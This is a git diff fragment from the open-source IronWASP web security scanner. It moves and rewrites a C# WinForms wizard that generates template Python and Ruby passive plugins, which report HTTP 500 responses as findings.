System.Windows.Forms.TextBox Step1StatusTB; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.TabPage LanguageTab; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.RadioButton PluginLangRubyRB; + private System.Windows.Forms.RadioButton PluginLangPythonRB; + internal System.Windows.Forms.TextBox Step2StatusTB; + private System.Windows.Forms.TextBox textBox5; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.TabPage FinalTab; + private System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.RadioButton ModeInlineRB; + private System.Windows.Forms.RadioButton ModeOfflineRB; + private System.Windows.Forms.GroupBox PluginWorksOnGB; + private System.Windows.Forms.RadioButton WorksOnResponseRB; + private System.Windows.Forms.RadioButton WorksOnRequestRB; + private System.Windows.Forms.RadioButton WorksOnBothRB; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.TextBox PluginFileTB; + private System.Windows.Forms.Label label3; + } } \ No newline at end of file diff --git a/IronWASP/PassivePluginCreationAssistant.cs b/Iron/PassivePluginCreationAssistant.cs similarity index 98% rename from IronWASP/PassivePluginCreationAssistant.cs rename to Iron/PassivePluginCreationAssistant.cs index 65a1edc..2b48a74 100644 --- a/IronWASP/PassivePluginCreationAssistant.cs +++ b/Iron/PassivePluginCreationAssistant.cs @@ -1,526 +1,526 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Text.RegularExpressions; -using System.IO; - -namespace IronWASP -{ - public partial class PassivePluginCreationAssistant : Form - { - string PluginName = ""; - string PluginDescription = ""; - PluginCallingState State; - PluginWorksOn WorksOn; - - int CurrentStep = 0; - string[] IndexNames = new string[] { "NameTab", "PluginTypeTab", "LanguageTab", "FinalTab" }; - - public PassivePluginCreationAssistant() - { - InitializeComponent(); - } - - void CreatePlugin() - { - string[] PluginCodes = CreatePluginCode(); - string PyCode = PluginCodes[0]; - string RbCode = PluginCodes[1]; - - string PluginCode = PyCode; - - string PluginLang = "py"; - if (PluginLangRubyRB.Checked) - { - PluginCode = RbCode; - PluginLang = "rb"; - } - - bool PluginCreated = false; - int Counter = 0; - string FFN = ""; - - while (!PluginCreated) - { - string FN = ""; - if (Counter == 0) - FN = string.Format("{0}.{1}", PluginName, PluginLang); - else - FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); - FFN = string.Format("{0}\\plugins\\passive\\{1}", Config.Path, FN); - Counter++; - if (!File.Exists(FFN)) - { - File.WriteAllText(FFN, PluginCode); - PluginCreated = true; - PluginEngine.LoadNewPassivePlugins(); - PluginFileTB.Text = FFN; - } - } - } - - string[] CreatePluginCode() - { - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - Py.AppendLine("from IronWASP import *"); - Py.AppendLine("import re"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("include IronWASP"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.AppendLine("#Extend the PassivePlugin base class"); - Py.AppendLine(string.Format("class {0}(PassivePlugin):", PluginName)); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("#Extend the PassivePlugin base class"); - Rb.AppendLine(string.Format("class {0} < PassivePlugin", PluginName)); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.Append(" "); Py.AppendLine("#Implement the GetInstance method of PassivePlugin class. This method is used to create new instances of this plugin."); - Py.Append(" "); Py.AppendLine("def GetInstance(self):"); - Py.Append(" "); Py.AppendLine(string.Format("p = {0}()", PluginName)); - Py.Append(" "); Py.AppendLine(string.Format("p.Name = '{0}'", PluginName)); - Py.Append(" "); Py.AppendLine(string.Format("p.Description = '{0}'", PluginDescription.Replace("'", "\\'"))); - Py.Append(" "); Py.AppendLine(string.Format("p.Version = '0.1'", PluginName)); - - Rb.Append(" "); Rb.AppendLine("#Implement the GetInstance method of PassivePlugin class. This method is used to create new instances of this plugin."); - Rb.Append(" "); Rb.AppendLine("def GetInstance()"); - Rb.Append(" "); Rb.AppendLine(string.Format("p = {0}.new", PluginName)); - Rb.Append(" "); Rb.AppendLine(string.Format("p.name = '{0}'", PluginName)); - Rb.Append(" "); Rb.AppendLine(string.Format("p.description = '{0}'", PluginDescription.Replace("'", "\\'"))); - Rb.Append(" "); Rb.AppendLine(string.Format("p.version = '0.1'", PluginName)); - - if (State == PluginCallingState.Inline) - { - switch (WorksOn) - { - case (PluginWorksOn.Request): - Py.Append(" "); Py.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy."); - Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy."); - Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); - - Py.Append(" "); Py.AppendLine("#This plugin is called on the Request object"); - Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Request"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called on the Request object"); - Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.request"); - break; - case (PluginWorksOn.Response): - Py.Append(" "); Py.AppendLine("#This plugin is called after the Response is intercepted in by the Proxy."); - Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called after the Response is intercepted in by the Proxy."); - Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); - - Py.Append(" "); Py.AppendLine("#This plugin is called on the Request object"); - Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Response"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called on the Request object"); - Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.response"); - break; - case (PluginWorksOn.Both): - Py.Append(" "); Py.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy and after the Response is intercepted in by the Proxy."); - Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy and after the Response is intercepted in by the Proxy."); - Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); - - Py.Append(" "); Py.AppendLine("#This plugin is called on both the Request and Response objects"); - Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Both"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called on both the Request and Response objects"); - Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.both"); - break; - } - } - else - { - Py.Append(" "); Py.AppendLine("#This plugin is called in the background in offline mode. It cannot make changes to the Request/Response, only view them."); - Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Offline"); - - Rb.Append(" "); Rb.AppendLine("#This plugin is called in the background in offline mode. It cannot make changes to the Request/Response, only view them."); - Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.offline"); - } - - Py.Append(" "); Py.AppendLine("return p"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("return p"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.Append(" "); Py.AppendLine("#Implement the Check method of PassivePlugin class. This is the method called by IronWASP on traffic created from within or the traffic proxied by the tool. This is the entry point in to the plugin."); - Py.Append(" "); Py.AppendLine("def Check(self, sess, results, report_all):"); - Py.Append(" "); Py.AppendLine("self.sess = sess # 'sess' is the Session object on which this plugin is run. A Session object holds a pair of matching Request and Response objects."); - Py.Append(" "); Py.AppendLine("self.results = results # 'results' is the Findings object which will hold any findings reported by this plugin"); - Py.Append(" "); Py.AppendLine("self.report_all = report_all # 'report_all' is a boolean value that informs the plugin if it should report duplicate findings."); - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("#We do some analysis on the Request/Response"); - Py.Append(" "); Py.AppendLine("if self.sess.Response and self.sess.Response.Code == 500:"); - Py.Append(" "); Py.AppendLine("#If the Session object contains a Response and of the response code is 500 then we report a vulnerability"); - Py.Append(" "); Py.AppendLine("self.report_vuln()"); - Py.AppendLine(); - Py.AppendLine(); - - - Rb.Append(" "); Rb.AppendLine("#Implement the Check method of PassivePlugin class. This is the method called by IronWASP on traffic created from within or the traffic proxied by the tool. This is the entry point in to the plugin."); - Rb.Append(" "); Rb.AppendLine("def Check(sess, results, report_all)"); - Rb.Append(" "); Rb.AppendLine("@sess = sess # 'sess' is the Session object on which this plugin is run. A Session object holds a pair of matching Request and Response objects."); - Rb.Append(" "); Rb.AppendLine("@results = results # 'results' is the Findings object which will hold any findings reported by this plugin"); - Rb.Append(" "); Rb.AppendLine("@report_all = report_all # 'report_all' is a boolean value that informs the plugin if it should report duplicate findings."); - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("#We do some analysis on the Request/Response"); - Rb.Append(" "); Rb.AppendLine("if @sess.response and @sess.response.code == 500"); - Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then we report a vulnerability"); - Rb.Append(" "); Rb.AppendLine("report_vuln"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - - Py.Append(" "); Py.AppendLine("#This method implements the vulnerability reporting function"); - Py.Append(" "); Py.AppendLine("def report_vuln(self):"); - Py.Append(" "); Py.AppendLine("#Create a signature for this Finding. This helps reporting the same vulnerability multiple times. There are no rules to creating the signature, it is just a string. If the same plugin reports the same type of finding for the same host with the same signature then it is ignored as a duplicate."); - Py.Append(" "); Py.AppendLine("sign = '500 from server' + self.sess.Request.Url"); - Py.Append(" "); Py.AppendLine("#We have created a signature that has some information about the issue and the Request Url. So if another page generates error then the signature will be unqiue and reported. But if the same page is requested again then there is not duplicate report."); - Py.Append(" "); Py.AppendLine("#Before reporting this issue we check if the plugin was called with report_all value set to true or if the signature is unique."); - Py.Append(" "); Py.AppendLine("if self.report_all or self.IsSignatureUnique(self.sess.Request.BaseUrl, FindingType.Vulnerability, sign):"); - Py.Append(" "); Py.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument."); - Py.Append(" "); Py.AppendLine("f = Finding(self.sess.Request.BaseUrl)"); - Py.Append(" "); Py.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.Information and FindingType.TestLead"); - Py.Append(" "); Py.AppendLine("f.Type = FindingType.Vulnerability"); - Py.Append(" "); Py.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.High and FindingConfidence.Low"); - Py.Append(" "); Py.AppendLine("f.Confidence = FindingConfidence.Medium"); - Py.Append(" "); Py.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); - Py.Append(" "); Py.AppendLine("f.Severity = FindingSeverity.High"); - Py.Append(" "); Py.AppendLine("#This vulnerability is given a title"); - Py.Append(" "); Py.AppendLine("f.Title = 'Server returned an error'"); - Py.Append(" "); Py.AppendLine("#This vulnerability summary is added."); - Py.Append(" "); Py.AppendLine(@"f.Summary = ""The server returned a 500 response to this request. This indicates lack of proper error handling on the server-side."""); - Py.Append(" "); Py.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); - Py.Append(" "); Py.AppendLine("#In this case we don't know what triggered the error so we set the request trigger as empty string and the response trigger is the status code 500"); - Py.Append(" "); Py.AppendLine(@"f.Triggers.Add('', self.sess.Request, '500', self.sess.Response)"); - Py.Append(" "); Py.AppendLine("#The signature of this vulnerability is stored"); - Py.Append(" "); Py.AppendLine("f.Signature = sign"); - Py.Append(" "); Py.AppendLine("#After defining the vulnerability it is added to the Findings object"); - Py.Append(" "); Py.AppendLine("self.results.Add(f)"); - - - - Rb.Append(" "); Rb.AppendLine("#This method implements the vulnerability reporting function"); - Rb.Append(" "); Rb.AppendLine("def report_vuln()"); - Rb.Append(" "); Rb.AppendLine("#Create a signature for this Finding. This helps reporting the same vulnerability multiple times. There are no rules to creating the signature, it is just a string. If the same plugin reports the same type of finding for the same host with the same signature then it is ignored as a duplicate."); - Rb.Append(" "); Rb.AppendLine("sign = '500 from server' + @sess.request.url"); - Rb.Append(" "); Rb.AppendLine("#We have created a signature that has some information about the issue and the Request Url. So if another page generates error then the signature will be unqiue and reported. But if the same page is requested again then there is not duplicate report."); - Rb.Append(" "); Rb.AppendLine("#Before reporting this issue we check if the plugin was called with report_all value set to true or if the signature is unique."); - Rb.Append(" "); Rb.AppendLine("if @report_all or is_signature_unique(@sess.request.base_url, FindingType.vulnerability, sign)"); - Rb.Append(" "); Rb.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument."); - Rb.Append(" "); Rb.AppendLine("f = Finding.new(@sess.request.base_url)"); - Rb.Append(" "); Rb.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.information and FindingType.test_lead"); - Rb.Append(" "); Rb.AppendLine("f.type = FindingType.vulnerability"); - Rb.Append(" "); Rb.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.high and FindingConfidence.low"); - Rb.Append(" "); Rb.AppendLine("f.confidence = FindingConfidence.medium"); - Rb.Append(" "); Rb.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); - Rb.Append(" "); Rb.AppendLine("f.severity = FindingSeverity.high"); - Rb.Append(" "); Rb.AppendLine("#This vulnerability is given a title"); - Rb.Append(" "); Rb.AppendLine("f.title = 'Server returned an error'"); - Rb.Append(" "); Rb.AppendLine("#This vulnerability summary is added."); - Rb.Append(" "); Rb.AppendLine(@"f.summary = ""The server returned a 500 response to this request. This indicates lack of proper error handling on the server-side."""); - Rb.Append(" "); Rb.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); - Rb.Append(" "); Rb.AppendLine("#In this case we don't know what triggered the error so we set the request trigger as empty string and the response trigger is the status code 500"); - Rb.Append(" "); Rb.AppendLine(@"f.triggers.add('', @sess.request, '500', @sess.response)"); - Rb.Append(" "); Rb.AppendLine("#The signature of this vulnerability is stored"); - Rb.Append(" "); Rb.AppendLine("f.signature = sign"); - Rb.Append(" "); Rb.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); - Rb.Append(" "); Rb.AppendLine("@results.add(f)"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - - - Py.AppendLine(); - Py.AppendLine(); - Py.AppendLine(); - Py.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); - Py.AppendLine("#Create an instance of the this plugin"); - Py.AppendLine(string.Format("p = {0}()", this.PluginName)); - Py.AppendLine("#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of PassivePlugins"); - Py.AppendLine("PassivePlugin.Add(p.GetInstance())"); - Py.AppendLine(); - Py.AppendLine(); - - Rb.AppendLine("end"); - Rb.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine(); - Rb.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); - Rb.AppendLine("#Create an instance of the this plugin"); - Rb.AppendLine(string.Format("p = {0}.new", this.PluginName)); - Rb.AppendLine("#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of PassivePlugins"); - Rb.AppendLine("PassivePlugin.add(p.get_instance)"); - Rb.AppendLine(); - Rb.AppendLine(); - - string BottomComments = @" -#The tags shown below can be used to format your vulerability summary section. -#>introduces a line break -#>Makes the enclosed text bold> -#>Makes the enclosed text prominent like a heading> -#>Makes the enclosed text appear in red> -#>Makes the enclosed text appear in green> -#>Makes the enclosed text appear in blue> -#>Highlights the enclosed text appear in red> -#>Highlights the enclosed text appear in green> -#>Highlights the enclosed text appear in blue> -"; - Py.AppendLine(BottomComments); - Rb.AppendLine(BottomComments); - return new string[] { Py.ToString(), Rb.ToString() }; - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep0Error(""); - string Name = PluginNameTB.Text.Trim(); - if (Name.Length == 0) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("Plugin name cannot be empty"); - return; - } - if (!Regex.IsMatch(Name, "^[a-zA-Z]+$")) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("Plugin Name should only contain alphabets (a-z)"); - return; - } - if (!Name[0].ToString().ToUpper().Equals(Name[0].ToString())) - { - ShowStep0Error("Plugin Name should begin with an upper case letter"); - return; - } - if (PassivePlugin.List().Contains(Name)) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("A Passive Plugin with this name already exists. Select a different name."); - return; - } - string Desc = PluginDescTB.Text; - if (Desc.Trim().Length == 0) - { - PluginDescTB.BackColor = Color.Red; - ShowStep0Error("Plugin description cannot be empty"); - return; - } - this.PluginName = Name; - this.PluginDescription = Desc; - this.CurrentStep = 1; - this.BaseTabs.SelectTab("PluginTypeTab"); - } - - void ShowStep0Status(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Black; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep0Error(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep1Status(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Black; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep2Status(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Black; - this.Step2StatusTB.Visible = true; - } - } - void ShowStep2Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - - private void ModeInlineRB_CheckedChanged(object sender, EventArgs e) - { - if (ModeInlineRB.Checked) - { - PluginWorksOnGB.Visible = true; - } - else - { - PluginWorksOnGB.Visible = false; - } - } - - private void PluginNameTB_TextChanged(object sender, EventArgs e) - { - if (PluginNameTB.BackColor == Color.Red) PluginNameTB.BackColor = Color.White; - } - - private void PluginDescTB_TextChanged(object sender, EventArgs e) - { - if (PluginDescTB.BackColor == Color.Red) PluginDescTB.BackColor = Color.White; - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 0; - this.BaseTabs.SelectTab("NameTab"); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - ShowStep1Error(""); - if (ModeOfflineRB.Checked) - { - State = PluginCallingState.Offline; - } - else - { - State = PluginCallingState.Inline; - - if (WorksOnRequestRB.Checked) - { - WorksOn = PluginWorksOn.Request; - } - else if (WorksOnResponseRB.Checked) - { - WorksOn = PluginWorksOn.Response; - } - else - { - WorksOn = PluginWorksOn.Both; - } - } - this.CurrentStep = 2; - this.BaseTabs.SelectTab("LanguageTab"); - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab("PluginTypeTab"); - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - ShowStep2Error(""); - try - { - CreatePlugin(); - } - catch (Exception Exp) - { - ShowStep2Error(string.Format("Unable to create plugin file - {0}", Exp.Message)); - return; - } - this.CurrentStep = 3; - this.BaseTabs.SelectTab("FinalTab"); - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - if (!BaseTabs.SelectedTab.Name.Equals(IndexNames[this.CurrentStep])) - BaseTabs.SelectTab(IndexNames[this.CurrentStep]); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Text.RegularExpressions; +using System.IO; + +namespace IronWASP +{ + public partial class PassivePluginCreationAssistant : Form + { + string PluginName = ""; + string PluginDescription = ""; + PluginCallingState State; + PluginWorksOn WorksOn; + + int CurrentStep = 0; + string[] IndexNames = new string[] { "NameTab", "PluginTypeTab", "LanguageTab", "FinalTab" }; + + public PassivePluginCreationAssistant() + { + InitializeComponent(); + } + + void CreatePlugin() + { + string[] PluginCodes = CreatePluginCode(); + string PyCode = PluginCodes[0]; + string RbCode = PluginCodes[1]; + + string PluginCode = PyCode; + + string PluginLang = "py"; + if (PluginLangRubyRB.Checked) + { + PluginCode = RbCode; + PluginLang = "rb"; + } + + bool PluginCreated = false; + int Counter = 0; + string FFN = ""; + + while (!PluginCreated) + { + string FN = ""; + if (Counter == 0) + FN = string.Format("{0}.{1}", PluginName, PluginLang); + else + FN = string.Format("{0}_{1}.{2}", PluginName, Counter, PluginLang); + FFN = string.Format("{0}\\plugins\\passive\\{1}", Config.Path, FN); + Counter++; + if (!File.Exists(FFN)) + { + File.WriteAllText(FFN, PluginCode); + PluginCreated = true; + PluginEngine.LoadNewPassivePlugins(); + PluginFileTB.Text = FFN; + } + } + } + + string[] CreatePluginCode() + { + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + + Py.AppendLine("from IronWASP import *"); + Py.AppendLine("import re"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("include IronWASP"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.AppendLine("#Extend the PassivePlugin base class"); + Py.AppendLine(string.Format("class {0}(PassivePlugin):", PluginName)); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("#Extend the PassivePlugin base class"); + Rb.AppendLine(string.Format("class {0} < PassivePlugin", PluginName)); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.Append(" "); Py.AppendLine("#Implement the GetInstance method of PassivePlugin class. This method is used to create new instances of this plugin."); + Py.Append(" "); Py.AppendLine("def GetInstance(self):"); + Py.Append(" "); Py.AppendLine(string.Format("p = {0}()", PluginName)); + Py.Append(" "); Py.AppendLine(string.Format("p.Name = '{0}'", PluginName)); + Py.Append(" "); Py.AppendLine(string.Format("p.Description = '{0}'", PluginDescription.Replace("'", "\\'"))); + Py.Append(" "); Py.AppendLine(string.Format("p.Version = '0.1'", PluginName)); + + Rb.Append(" "); Rb.AppendLine("#Implement the GetInstance method of PassivePlugin class. This method is used to create new instances of this plugin."); + Rb.Append(" "); Rb.AppendLine("def GetInstance()"); + Rb.Append(" "); Rb.AppendLine(string.Format("p = {0}.new", PluginName)); + Rb.Append(" "); Rb.AppendLine(string.Format("p.name = '{0}'", PluginName)); + Rb.Append(" "); Rb.AppendLine(string.Format("p.description = '{0}'", PluginDescription.Replace("'", "\\'"))); + Rb.Append(" "); Rb.AppendLine(string.Format("p.version = '0.1'", PluginName)); + + if (State == PluginCallingState.Inline) + { + switch (WorksOn) + { + case (PluginWorksOn.Request): + Py.Append(" "); Py.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy."); + Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy."); + Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); + + Py.Append(" "); Py.AppendLine("#This plugin is called on the Request object"); + Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Request"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called on the Request object"); + Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.request"); + break; + case (PluginWorksOn.Response): + Py.Append(" "); Py.AppendLine("#This plugin is called after the Response is intercepted in by the Proxy."); + Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called after the Response is intercepted in by the Proxy."); + Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); + + Py.Append(" "); Py.AppendLine("#This plugin is called on the Request object"); + Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Response"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called on the Request object"); + Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.response"); + break; + case (PluginWorksOn.Both): + Py.Append(" "); Py.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy and after the Response is intercepted in by the Proxy."); + Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Inline"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called before the Request is intercepted in by the Proxy and after the Response is intercepted in by the Proxy."); + Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.inline"); + + Py.Append(" "); Py.AppendLine("#This plugin is called on both the Request and Response objects"); + Py.Append(" "); Py.AppendLine("p.WorksOn = PluginWorksOn.Both"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called on both the Request and Response objects"); + Rb.Append(" "); Rb.AppendLine("p.works_on = PluginWorksOn.both"); + break; + } + } + else + { + Py.Append(" "); Py.AppendLine("#This plugin is called in the background in offline mode. It cannot make changes to the Request/Response, only view them."); + Py.Append(" "); Py.AppendLine("p.CallingState = PluginCallingState.Offline"); + + Rb.Append(" "); Rb.AppendLine("#This plugin is called in the background in offline mode. It cannot make changes to the Request/Response, only view them."); + Rb.Append(" "); Rb.AppendLine("p.calling_state = PluginCallingState.offline"); + } + + Py.Append(" "); Py.AppendLine("return p"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("return p"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.Append(" "); Py.AppendLine("#Implement the Check method of PassivePlugin class. This is the method called by IronWASP on traffic created from within or the traffic proxied by the tool. This is the entry point in to the plugin."); + Py.Append(" "); Py.AppendLine("def Check(self, sess, results, report_all):"); + Py.Append(" "); Py.AppendLine("self.sess = sess # 'sess' is the Session object on which this plugin is run. A Session object holds a pair of matching Request and Response objects."); + Py.Append(" "); Py.AppendLine("self.results = results # 'results' is the Findings object which will hold any findings reported by this plugin"); + Py.Append(" "); Py.AppendLine("self.report_all = report_all # 'report_all' is a boolean value that informs the plugin if it should report duplicate findings."); + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("#We do some analysis on the Request/Response"); + Py.Append(" "); Py.AppendLine("if self.sess.Response and self.sess.Response.Code == 500:"); + Py.Append(" "); Py.AppendLine("#If the Session object contains a Response and of the response code is 500 then we report a vulnerability"); + Py.Append(" "); Py.AppendLine("self.report_vuln()"); + Py.AppendLine(); + Py.AppendLine(); + + + Rb.Append(" "); Rb.AppendLine("#Implement the Check method of PassivePlugin class. This is the method called by IronWASP on traffic created from within or the traffic proxied by the tool. This is the entry point in to the plugin."); + Rb.Append(" "); Rb.AppendLine("def Check(sess, results, report_all)"); + Rb.Append(" "); Rb.AppendLine("@sess = sess # 'sess' is the Session object on which this plugin is run. A Session object holds a pair of matching Request and Response objects."); + Rb.Append(" "); Rb.AppendLine("@results = results # 'results' is the Findings object which will hold any findings reported by this plugin"); + Rb.Append(" "); Rb.AppendLine("@report_all = report_all # 'report_all' is a boolean value that informs the plugin if it should report duplicate findings."); + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("#We do some analysis on the Request/Response"); + Rb.Append(" "); Rb.AppendLine("if @sess.response and @sess.response.code == 500"); + Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then we report a vulnerability"); + Rb.Append(" "); Rb.AppendLine("report_vuln"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.Append(" "); Py.AppendLine("#This method implements 